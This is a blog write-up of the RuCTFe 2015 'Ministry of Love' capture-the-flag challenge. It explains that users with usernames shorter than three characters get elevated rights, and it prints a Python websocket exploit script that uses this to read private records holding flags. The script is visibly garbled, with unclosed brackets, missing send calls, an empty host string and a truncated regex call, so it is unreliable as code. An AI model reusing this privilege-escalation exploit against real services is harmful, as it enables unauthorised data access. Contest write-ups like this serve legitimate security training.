Skip to content

RuCTFe 2015: Ministry of Love (mol) write-up

This years RuCTFe 2015 consists of many cool challenges. One of these was the "Ministry of Love" (mol) challenge.

It was a python services that ... I do not know what it does. But it does not matter. You use this service via a web interface. Once you visit the site, a Websocket is opened to the server. Then you register/login there and you have a stateful connection (no cookies or what so ever). When you surf around the webinterface, you notice that sometimes "crimes" are reported. Some of these crimes are marked as private and you can not look them up. These are the interesting ones. The description field of these crimes contain the flag.

So, how can we reach them? Well, first you have to register an account to use the web interface. The function that does this is obviously named "register()". When you go through this function you will see this line:

user['role'] = len(user['username']) < 3

And yes. This does exactly what it looks like. The role of the user is set to some kind of admin role if the length is lower than 3. So, let us exploit it. A simple exploit script that uses the websocket-client of python looks like this:


import websocket
import os
import sys
import json
import re

usernames = ["fx", "ab", "cd", "bf"]
password = "sdfsdfsfdasfdaklsdajklfhjk"
_DEBUG = True

def create_connection():

        for i in range(len(usernames)):

                host = sys.argv[1]
                team_id = host.split(".")[2]

                connection = websocket.create_connection(
                        "ws://" + team_id + "")

                register_msg = json.dumps({"action": "register",
                        "params": {
                        "username": usernames[i],
                        "password": password


                response = json.loads(connection.recv())

                auth_msg = json.dumps({"action": "auth",
                        "params": {
                        "username": usernames[i],
                        "password": password

                response = json.loads(connection.recv())

                if response["type"] == "default alert alert-success":
                        return connection

        return None

if _DEBUG: print "Connect to server"
connection = create_connection()
if connection is None:
        print "Could not login to service"

if _DEBUG: print "Connecting successful"

# ignore first response
response = json.loads(connection.recv())

# get private crimes
crimes_msg = json.dumps({"action": "show_crimes",
        "params": {
        "offset": 0
response = json.loads(connection.recv())
private_crime_ids = list()
for row in response["rows"]:
        if "data" in row.keys():
                for data_set in row["data"]:

                        if data_set["public"] != "":

if len(private_crime_ids) == 0:
        print "No private crime ids"

for private_crime_id in private_crime_ids:

        if _DEBUG: print "Get crime id " + str(private_crime_id)

        crime_msg = json.dumps({"action": "show_crime",
                "params": {
                "crimeid": private_crime_id
        response = json.loads(connection.recv())

        if ("type" in response.keys() and
                response["type"] == "default alert alert-danger"):
                if _DEBUG: print "Not able to get private crime"

        if not "rows" in response.keys():
                if _DEBUG:
                        print "No rows"
                        print response

        for row in response["rows"]:
                if "data" in row.keys():
                        r ="\w{31}=", row["data"]["description"])
                        if r:

And that's all. I am certain that there are more vulnerabilities in this service but because this time our team did not have so many players, I went on to the next service and never came back :-(


No Trackbacks


Display comments as Linear | Threaded

No comments

The author does not allow comments to this entry

Add Comment

Standard emoticons like :-) and ;-) are converted to images.
E-Mail addresses will not be displayed and will only be used for E-Mail notifications.
Form options

Submitted comments will be subject to moderation before being displayed.